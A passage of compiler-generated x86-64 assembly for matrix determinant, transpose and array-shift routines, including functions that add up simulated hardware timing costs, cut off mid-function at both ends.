mov rcx, QWORD PTR -8[rbp]
sub rcx, QWORD PTR fs:40
je .L380
call __stack_chk_fail@PLT
.L380:
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE60:
.size determinant, .-determinant
.globl fxp_determinant
.type fxp_determinant, @function
fxp_determinant:
.LFB61:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 336
mov QWORD PTR -312[rbp], rdi
mov DWORD PTR -316[rbp], esi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -296[rbp], 0
jmp .L383
.L386:
mov DWORD PTR -292[rbp], 0
jmp .L384
.L385:
mov eax, DWORD PTR -296[rbp]
cdqe
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -312[rbp]
add rdx, rax
mov eax, DWORD PTR -292[rbp]
cdqe
mov rax, QWORD PTR [rdx+rax*8]
mov rdi, rax
call fxp_to_double
movq rax, xmm0
mov edx, DWORD PTR -292[rbp]
movsx rcx, edx
mov edx, DWORD PTR -296[rbp]
movsx rdx, edx
sal rdx, 2
add rdx, rcx
mov QWORD PTR -272[rbp+rdx*8], rax
add DWORD PTR -292[rbp], 1
.L384:
mov eax, DWORD PTR -292[rbp]
cmp eax, DWORD PTR -316[rbp]
jl .L385
add DWORD PTR -296[rbp], 1
.L383:
mov eax, DWORD PTR -296[rbp]
cmp eax, DWORD PTR -316[rbp]
jl .L386
pxor xmm0, xmm0
movsd QWORD PTR -280[rbp], xmm0
cmp DWORD PTR -316[rbp], 0
jle .L387
cmp DWORD PTR -316[rbp], 1
jne .L388
movsd xmm0, QWORD PTR -272[rbp]
movsd QWORD PTR -280[rbp], xmm0
jmp .L387
.L388:
cmp DWORD PTR -316[rbp], 2
jne .L389
movsd xmm1, QWORD PTR -272[rbp]
movsd xmm0, QWORD PTR -232[rbp]
mulsd xmm0, xmm1
movsd xmm2, QWORD PTR -240[rbp]
movsd xmm1, QWORD PTR -264[rbp]
mulsd xmm1, xmm2
subsd xmm0, xmm1
movsd QWORD PTR -280[rbp], xmm0
jmp .L387
.L389:
pxor xmm0, xmm0
movsd QWORD PTR -280[rbp], xmm0
mov DWORD PTR -288[rbp], 0
jmp .L390
.L399:
mov DWORD PTR -296[rbp], 0
jmp .L391
.L398:
mov DWORD PTR -296[rbp], 1
jmp .L392
.L397:
mov DWORD PTR -284[rbp], 0
mov DWORD PTR -292[rbp], 0
jmp .L393
.L396:
mov eax, DWORD PTR -292[rbp]
cmp eax, DWORD PTR -288[rbp]
je .L402
mov eax, DWORD PTR -296[rbp]
lea edx, -1[rax]
mov eax, DWORD PTR -292[rbp]
movsx rcx, eax
mov eax, DWORD PTR -296[rbp]
cdqe
sal rax, 2
add rax, rcx
movsd xmm0, QWORD PTR -272[rbp+rax*8]
mov eax, DWORD PTR -284[rbp]
movsx rcx, eax
movsx rax, edx
sal rax, 2
add rax, rcx
movsd QWORD PTR -144[rbp+rax*8], xmm0
add DWORD PTR -284[rbp], 1
jmp .L395
.L402:
nop
.L395:
add DWORD PTR -292[rbp], 1
.L393:
mov eax, DWORD PTR -292[rbp]
cmp eax, DWORD PTR -316[rbp]
jl .L396
add DWORD PTR -296[rbp], 1
.L392:
mov eax, DWORD PTR -296[rbp]
cmp eax, DWORD PTR -316[rbp]
jl .L397
add DWORD PTR -296[rbp], 1
.L391:
mov eax, DWORD PTR -316[rbp]
sub eax, 1
cmp DWORD PTR -296[rbp], eax
jl .L398
pxor xmm1, xmm1
cvtsi2sd xmm1, DWORD PTR -288[rbp]
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm1, xmm0
movsd xmm0, QWORD PTR .LC7[rip]
addsd xmm0, xmm1
mov rax, QWORD PTR .LC15[rip]
movapd xmm1, xmm0
movq xmm0, rax
call internal_pow
mov eax, DWORD PTR -288[rbp]
cdqe
movsd xmm1, QWORD PTR -272[rbp+rax*8]
mulsd xmm0, xmm1
movsd QWORD PTR -328[rbp], xmm0
mov eax, DWORD PTR -316[rbp]
lea edx, -1[rax]
lea rax, -144[rbp]
mov esi, edx
mov rdi, rax
call determinant
mulsd xmm0, QWORD PTR -328[rbp]
movsd xmm1, QWORD PTR -280[rbp]
addsd xmm0, xmm1
movsd QWORD PTR -280[rbp], xmm0
add DWORD PTR -288[rbp], 1
.L390:
mov eax, DWORD PTR -288[rbp]
cmp eax, DWORD PTR -316[rbp]
jl .L399
.L387:
movsd xmm0, QWORD PTR -280[rbp]
movq rax, xmm0
mov rsi, QWORD PTR -8[rbp]
sub rsi, QWORD PTR fs:40
je .L401
call __stack_chk_fail@PLT
.L401:
movq xmm0, rax
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE61:
.size fxp_determinant, .-fxp_determinant
.globl transpose
.type transpose, @function
transpose:
.LFB62:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov DWORD PTR -36[rbp], edx
mov DWORD PTR -40[rbp], ecx
mov DWORD PTR -8[rbp], 0
jmp .L404
.L407:
mov DWORD PTR -4[rbp], 0
jmp .L405
.L406:
mov eax, DWORD PTR -8[rbp]
cdqe
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -24[rbp]
lea rcx, [rdx+rax]
mov eax, DWORD PTR -4[rbp]
cdqe
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -32[rbp]
add rdx, rax
mov eax, DWORD PTR -4[rbp]
cdqe
movsd xmm0, QWORD PTR [rcx+rax*8]
mov eax, DWORD PTR -8[rbp]
cdqe
movsd QWORD PTR [rdx+rax*8], xmm0
add DWORD PTR -4[rbp], 1
.L405:
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -40[rbp]
jl .L406
add DWORD PTR -8[rbp], 1
.L404:
mov eax, DWORD PTR -8[rbp]
cmp eax, DWORD PTR -36[rbp]
jl .L407
nop
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE62:
.size transpose, .-transpose
.globl fxp_transpose
.type fxp_transpose, @function
fxp_transpose:
.LFB63:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov DWORD PTR -36[rbp], edx
mov DWORD PTR -40[rbp], ecx
mov DWORD PTR -8[rbp], 0
jmp .L409
.L412:
mov DWORD PTR -4[rbp], 0
jmp .L410
.L411:
mov eax, DWORD PTR -8[rbp]
cdqe
sal rax, 5
mov rdx, rax
mov rax, QWORD PTR -24[rbp]
add rdx, rax
mov eax, DWORD PTR -4[rbp]
cdqe
sal rax, 5
mov rcx, rax
mov rax, QWORD PTR -32[rbp]
add rcx, rax
mov eax, DWORD PTR -4[rbp]
cdqe
mov rdx, QWORD PTR [rdx+rax*8]
mov eax, DWORD PTR -8[rbp]
cdqe
mov QWORD PTR [rcx+rax*8], rdx
add DWORD PTR -4[rbp], 1
.L410:
mov eax, DWORD PTR -4[rbp]
cmp eax, DWORD PTR -40[rbp]
jl .L411
add DWORD PTR -8[rbp], 1
.L409:
mov eax, DWORD PTR -8[rbp]
cmp eax, DWORD PTR -36[rbp]
jl .L412
nop
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE63:
.size fxp_transpose, .-fxp_transpose
.globl generic_timing_shift_l_double
.type generic_timing_shift_l_double, @function
generic_timing_shift_l_double:
.LFB64:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -24[rbp], xmm0
mov QWORD PTR -32[rbp], rdi
mov DWORD PTR -36[rbp], esi
mov eax, DWORD PTR hw[rip+24]
lea ecx, [rax+rax]
mov edx, DWORD PTR hw[rip+28]
mov eax, edx
add eax, eax
add eax, edx
add ecx, eax
mov edx, DWORD PTR hw[rip+40]
mov eax, edx
add eax, eax
add eax, edx
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+32]
add edx, eax
mov eax, DWORD PTR hw[rip+36]
add edx, eax
mov eax, DWORD PTR hw[rip+44]
sal eax, 3
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
mov rax, QWORD PTR -32[rbp]
movsd xmm0, QWORD PTR [rax]
movsd QWORD PTR -8[rbp], xmm0
mov edx, DWORD PTR hw[rip+48]
mov eax, edx
sal eax, 2
add edx, eax
mov eax, DWORD PTR hw[rip+84]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+44]
sal eax, 2
add edx, eax
mov eax, DWORD PTR hw[rip+92]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
mov eax, DWORD PTR hw[rip+44]
lea edx, [rax+rax]
mov eax, DWORD PTR hw[rip+80]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
mov DWORD PTR -12[rbp], 0
jmp .L414
.L415:
mov eax, DWORD PTR hw[rip+48]
mov edx, eax
sal edx, 4
add edx, eax
mov eax, DWORD PTR hw[rip+60]
sal eax, 2
add edx, eax
mov eax, DWORD PTR hw[rip+64]
sal eax, 2
add edx, eax
mov eax, DWORD PTR hw[rip+68]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+72]
add eax, eax
lea ecx, [rdx+rax]
mov edx, DWORD PTR hw[rip+84]
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+76]
add eax, eax
lea ecx, [rdx+rax]
mov edx, DWORD PTR hw[rip+44]
mov eax, edx
sal eax, 2
add eax, edx
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+92]
add edx, eax
mov eax, DWORD PTR hw[rip+124]
add edx, eax
mov eax, DWORD PTR hw[rip+52]
add edx, eax
mov eax, DWORD PTR hw[rip+88]
add edx, eax
mov eax, DWORD PTR hw[rip+100]
add edx, eax
mov eax, DWORD PTR hw[rip+104]
add edx, eax
mov eax, DWORD PTR hw[rip+128]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
mov eax, DWORD PTR -12[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -32[rbp]
add rdx, rax
mov eax, DWORD PTR -12[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -32[rbp]
add rax, rcx
movsd xmm0, QWORD PTR [rdx]
movsd QWORD PTR [rax], xmm0
add DWORD PTR -12[rbp], 1
.L414:
mov eax, DWORD PTR -36[rbp]
sub eax, 1
cmp DWORD PTR -12[rbp], eax
jl .L415
mov eax, DWORD PTR -36[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
movsd xmm0, QWORD PTR -24[rbp]
movsd QWORD PTR [rax], xmm0
mov edx, DWORD PTR hw[rip+48]
mov eax, edx
add eax, eax
add eax, edx
sal eax, 2
mov ecx, eax
mov edx, DWORD PTR hw[rip+84]
mov eax, edx
add eax, eax
add eax, edx
add eax, eax
add ecx, eax
mov edx, DWORD PTR hw[rip+44]
mov eax, edx
add eax, eax
add eax, edx
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+60]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+64]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+72]
add edx, eax
mov eax, DWORD PTR hw[rip+68]
add edx, eax
mov eax, DWORD PTR hw[rip+52]
add edx, eax
mov eax, DWORD PTR hw[rip+56]
add edx, eax
mov eax, DWORD PTR hw[rip+124]
add edx, eax
mov eax, DWORD PTR hw[rip+76]
add edx, eax
mov eax, DWORD PTR hw[rip+28]
add edx, eax
mov eax, DWORD PTR hw[rip+36]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
mov edx, DWORD PTR hw[rip+40]
mov eax, edx
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+116]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+120]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
movsd xmm0, QWORD PTR -8[rbp]
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE64:
.size generic_timing_shift_l_double, .-generic_timing_shift_l_double
.globl generic_timing_shift_r_double
.type generic_timing_shift_r_double, @function
generic_timing_shift_r_double:
.LFB65:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -24[rbp], xmm0
mov QWORD PTR -32[rbp], rdi
mov DWORD PTR -36[rbp], esi
mov eax, DWORD PTR hw[rip+24]
lea ecx, [rax+rax]
mov edx, DWORD PTR hw[rip+28]
mov eax, edx
add eax, eax
add eax, edx
add ecx, eax
mov edx, DWORD PTR hw[rip+40]
mov eax, edx
add eax, eax
add eax, edx
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+32]
add edx, eax
mov eax, DWORD PTR hw[rip+36]
add edx, eax
mov eax, DWORD PTR hw[rip+44]
sal eax, 3
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
mov eax, DWORD PTR -36[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
movsd QWORD PTR -8[rbp], xmm0
mov edx, DWORD PTR hw[rip+48]
mov eax, edx
sal eax, 3
sub eax, edx
mov ecx, eax
mov eax, DWORD PTR hw[rip+64]
add eax, eax
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+60]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+84]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+44]
sal eax, 2
add edx, eax
mov eax, DWORD PTR hw[rip+68]
add edx, eax
mov eax, DWORD PTR hw[rip+72]
add edx, eax
mov eax, DWORD PTR hw[rip+92]
add edx, eax
mov eax, DWORD PTR hw[rip+52]
add edx, eax
mov eax, DWORD PTR hw[rip+56]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
mov edx, DWORD PTR hw[rip+48]
mov eax, DWORD PTR hw[rip+44]
add eax, edx
lea edx, [rax+rax]
mov eax, DWORD PTR hw[rip+32]
add edx, eax
mov eax, DWORD PTR hw[rip+80]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
mov eax, DWORD PTR -36[rbp]
sub eax, 1
mov DWORD PTR -12[rbp], eax
jmp .L418
.L419:
mov eax, DWORD PTR -12[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -32[rbp]
add rdx, rax
mov eax, DWORD PTR -12[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -32[rbp]
add rax, rcx
movsd xmm0, QWORD PTR [rdx]
movsd QWORD PTR [rax], xmm0
mov edx, DWORD PTR hw[rip+48]
mov eax, edx
sal eax, 4
sub eax, edx
mov ecx, eax
mov eax, DWORD PTR hw[rip+60]
sal eax, 2
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+64]
sal eax, 2
add edx, eax
mov eax, DWORD PTR hw[rip+68]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+72]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+84]
sal eax, 2
lea ecx, [rdx+rax]
mov edx, DWORD PTR hw[rip+44]
mov eax, edx
sal eax, 2
add eax, edx
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+52]
add edx, eax
mov eax, DWORD PTR hw[rip+56]
add edx, eax
mov eax, DWORD PTR hw[rip+92]
add edx, eax
mov eax, DWORD PTR hw[rip+124]
add edx, eax
mov eax, DWORD PTR hw[rip+32]
add edx, eax
mov eax, DWORD PTR hw[rip+100]
add edx, eax
mov eax, DWORD PTR hw[rip+104]
add edx, eax
mov eax, DWORD PTR hw[rip+128]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
sub DWORD PTR -12[rbp], 1
.L418:
cmp DWORD PTR -12[rbp], 0
jg .L419
mov rax, QWORD PTR -32[rbp]
movsd xmm0, QWORD PTR -24[rbp]
movsd QWORD PTR [rax], xmm0
mov edx, DWORD PTR hw[rip+48]
mov eax, edx
sal eax, 2
add eax, edx
add eax, eax
mov ecx, eax
mov edx, DWORD PTR hw[rip+84]
mov eax, edx
sal eax, 2
add eax, edx
add ecx, eax
mov edx, DWORD PTR hw[rip+44]
mov eax, edx
add eax, eax
add eax, edx
add ecx, eax
mov edx, DWORD PTR hw[rip+40]
mov eax, edx
add eax, eax
add eax, edx
lea edx, [rcx+rax]
mov eax, DWORD PTR hw[rip+116]
add eax, eax
add edx, eax
mov eax, DWORD PTR hw[rip+120]
add edx, eax
mov eax, DWORD PTR hw[rip+120]
add edx, eax
mov eax, DWORD PTR hw[rip+36]
add edx, eax
mov eax, DWORD PTR hw[rip+28]
add edx, eax
mov eax, DWORD PTR hw[rip+124]
add edx, eax
mov eax, DWORD PTR hw[rip+76]
add edx, eax
mov eax, DWORD PTR generic_timer[rip]
add eax, edx
mov DWORD PTR generic_timer[rip], eax
movsd xmm0, QWORD PTR -8[rbp]
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE65:
.size generic_timing_shift_r_double, .-generic_timing_shift_r_double
.globl shiftL
.type shiftL, @function
shiftL:
.LFB66:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov DWORD PTR -36[rbp], edx
mov rax, QWORD PTR -32[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR -8[rbp], rax
mov DWORD PTR -12[rbp], 0
jmp .L422
.L423:
mov eax, DWORD PTR -12[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov edx, DWORD PTR -12[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*8]
mov rdx, QWORD PTR -32[rbp]
add rdx, rcx
mov rax, QWORD PTR [rax]
mov QWORD PTR [rdx], rax
add DWORD PTR -12[rbp], 1
.L422:
mov eax, DWORD PTR -36[rbp]
sub eax, 1
cmp DWORD PTR -12[rbp], eax
jl .L423
mov eax, DWORD PTR -36[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -32[rbp]
add rdx, rax
mov rax, QWORD PTR -24[rbp]
mov QWORD PTR [rdx], rax
mov rax, QWORD PTR -8[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE66:
.size shiftL, .-shiftL
.globl shiftR
.type shiftR, @function
shiftR:
.LFB67:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov DWORD PTR -36[rbp], edx
mov eax, DWORD PTR -36[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov rax, QWORD PTR [rax]
mov QWORD PTR -8[rbp], rax
mov eax, DWORD PTR -36[rbp]
sub eax, 1
mov DWORD PTR -12[rbp], eax
jmp .L426
.L427:
mov eax, DWORD PTR -12[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov edx, DWORD PTR -12[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*8]
mov rdx, QWORD PTR -32[rbp]
add rdx, rcx
mov rax, QWORD PTR [rax]
mov QWORD PTR [rdx], rax
sub DWORD PTR -12[rbp], 1
.L426:
cmp DWORD PTR -12[rbp], 0
jg .L427
mov rax, QWORD PTR -32[rbp]
mov rdx, QWORD PTR -24[rbp]
mov QWORD PTR [rax], rdx
mov rax, QWORD PTR -8[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE67:
.size shiftR, .-shiftR
.globl shiftLfloat
.type shiftLfloat, @function
shiftLfloat:
.LFB68:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movss DWORD PTR -20[rbp], xmm0
mov QWORD PTR -32[rbp], rdi
mov DWORD PTR -24[rbp], esi
mov rax, QWORD PTR -32[rbp]
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -4[rbp], xmm0
mov DWORD PTR -8[rbp], 0
jmp .L430
.L431:
mov eax, DWORD PTR -8[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rdx, rax
mov eax, DWORD PTR -8[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
add DWORD PTR -8[rbp], 1
.L430:
mov eax, DWORD PTR -24[rbp]
sub eax, 1
cmp DWORD PTR -8[rbp], eax
jl .L431
mov eax, DWORD PTR -24[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
movss xmm0, DWORD PTR -20[rbp]
movss DWORD PTR [rax], xmm0
movss xmm0, DWORD PTR -4[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE68:
.size shiftLfloat, .-shiftLfloat
.globl shiftRfloat
.type shiftRfloat, @function
shiftRfloat:
.LFB69:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movss DWORD PTR -20[rbp], xmm0
mov QWORD PTR -32[rbp], rdi
mov DWORD PTR -24[rbp], esi
mov eax, DWORD PTR -24[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -4[rbp], xmm0
mov eax, DWORD PTR -24[rbp]
sub eax, 1
mov DWORD PTR -8[rbp], eax
jmp .L434
.L435:
mov eax, DWORD PTR -8[rbp]
cdqe
sal rax, 2
lea rdx, -4[rax]
mov rax, QWORD PTR -32[rbp]
add rdx, rax
mov eax, DWORD PTR -8[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
sub DWORD PTR -8[rbp], 1
.L434:
cmp DWORD PTR -8[rbp], 0
jg .L435
mov rax, QWORD PTR -32[rbp]
movss xmm0, DWORD PTR -20[rbp]
movss DWORD PTR [rax], xmm0
movss xmm0, DWORD PTR -4[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE69:
.size shiftRfloat, .-shiftRfloat
.globl shiftRDdouble
.type shiftRDdouble, @function
shiftRDdouble:
.LFB70:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -24[rbp], xmm0
mov QWORD PTR -32[rbp], rdi
mov DWORD PTR -36[rbp], esi
mov rax, QWORD PTR -32[rbp]
movsd xmm0, QWORD PTR [rax]
movsd QWORD PTR -8[rbp], xmm0
mov DWORD PTR -12[rbp], 0
jmp .L438
.L439:
mov eax, DWORD PTR -12[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -32[rbp]
add rdx, rax
mov eax, DWORD PTR -12[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -32[rbp]
add rax, rcx
movsd xmm0, QWORD PTR [rdx]
movsd QWORD PTR [rax], xmm0
add DWORD PTR -12[rbp], 1
.L438:
mov eax, DWORD PTR -36[rbp]
sub eax, 1
cmp DWORD PTR -12[rbp], eax
jl .L439
mov eax, DWORD PTR -36[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
movsd xmm0, QWORD PTR -24[rbp]
movsd QWORD PTR [rax], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE70:
.size shiftRDdouble, .-shiftRDdouble
.globl shiftRdouble
.type shiftRdouble, @function
shiftRdouble:
.LFB71:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -24[rbp], xmm0
mov QWORD PTR -32[rbp], rdi
mov DWORD PTR -36[rbp], esi
mov eax, DWORD PTR -36[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
movsd QWORD PTR -8[rbp], xmm0
mov eax, DWORD PTR -36[rbp]
sub eax, 1
mov DWORD PTR -12[rbp], eax
jmp .L442
.L443:
mov eax, DWORD PTR -12[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -32[rbp]
add rdx, rax
mov eax, DWORD PTR -12[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -32[rbp]
add rax, rcx
movsd xmm0, QWORD PTR [rdx]
movsd QWORD PTR [rax], xmm0
sub DWORD PTR -12[rbp], 1
.L442:
cmp DWORD PTR -12[rbp], 0
jg .L443
mov rax, QWORD PTR -32[rbp]
movsd xmm0, QWORD PTR -24[rbp]
movsd QWORD PTR [rax], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE71:
.size shiftRdouble, .-shiftRdouble
.globl shiftLDouble
.type shiftLDouble, @function
shiftLDouble:
.LFB72:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movsd QWORD PTR -24[rbp], xmm0
mov QWORD PTR -32[rbp], rdi
mov DWORD PTR -36[rbp], esi
mov rax, QWORD PTR -32[rbp]
movsd xmm0, QWORD PTR [rax]
movsd QWORD PTR -8[rbp], xmm0
mov DWORD PTR -12[rbp], 0
jmp .L446
.L447:
mov eax, DWORD PTR -12[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -32[rbp]
add rdx, rax
mov eax, DWORD PTR -12[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, QWORD PTR -32[rbp]
add rax, rcx
movsd xmm0, QWORD PTR [rdx]
movsd QWORD PTR [rax], xmm0
add DWORD PTR -12[rbp], 1
.L446:
mov eax, DWORD PTR -36[rbp]
sub eax, 1
cmp DWORD PTR -12[rbp], eax
jl .L447
mov eax, DWORD PTR -36[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
movsd xmm0, QWORD PTR -24[rbp]
movsd QWORD PTR [rax], xmm0
movsd xmm0, QWORD PTR -8[rbp]
movq rax, xmm0
movq xmm0, rax
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE72:
.size shiftLDouble, .-shiftLDouble
.globl shiftLboth
.type shiftLboth, @function
shiftLboth:
.LFB73:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
movss DWORD PTR -20[rbp], xmm0
mov QWORD PTR -32[rbp], rdi
mov QWORD PTR -40[rbp], rsi
mov QWORD PTR -48[rbp], rdx
mov DWORD PTR -24[rbp], ecx
mov rax, QWORD PTR -48[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -32[rbp]
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -12[rbp], xmm0
mov DWORD PTR -16[rbp], 0
jmp .L450
.L451:
mov eax, DWORD PTR -16[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -48[rbp]
add rax, rdx
mov edx, DWORD PTR -16[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*8]
mov rdx, QWORD PTR -48[rbp]
add rdx, rcx
mov rax, QWORD PTR [rax]
mov QWORD PTR [rdx], rax
mov eax, DWORD PTR -16[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rdx, rax
mov eax, DWORD PTR -16[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rcx
movss xmm0, DWORD PTR [rdx]
movss DWORD PTR [rax], xmm0
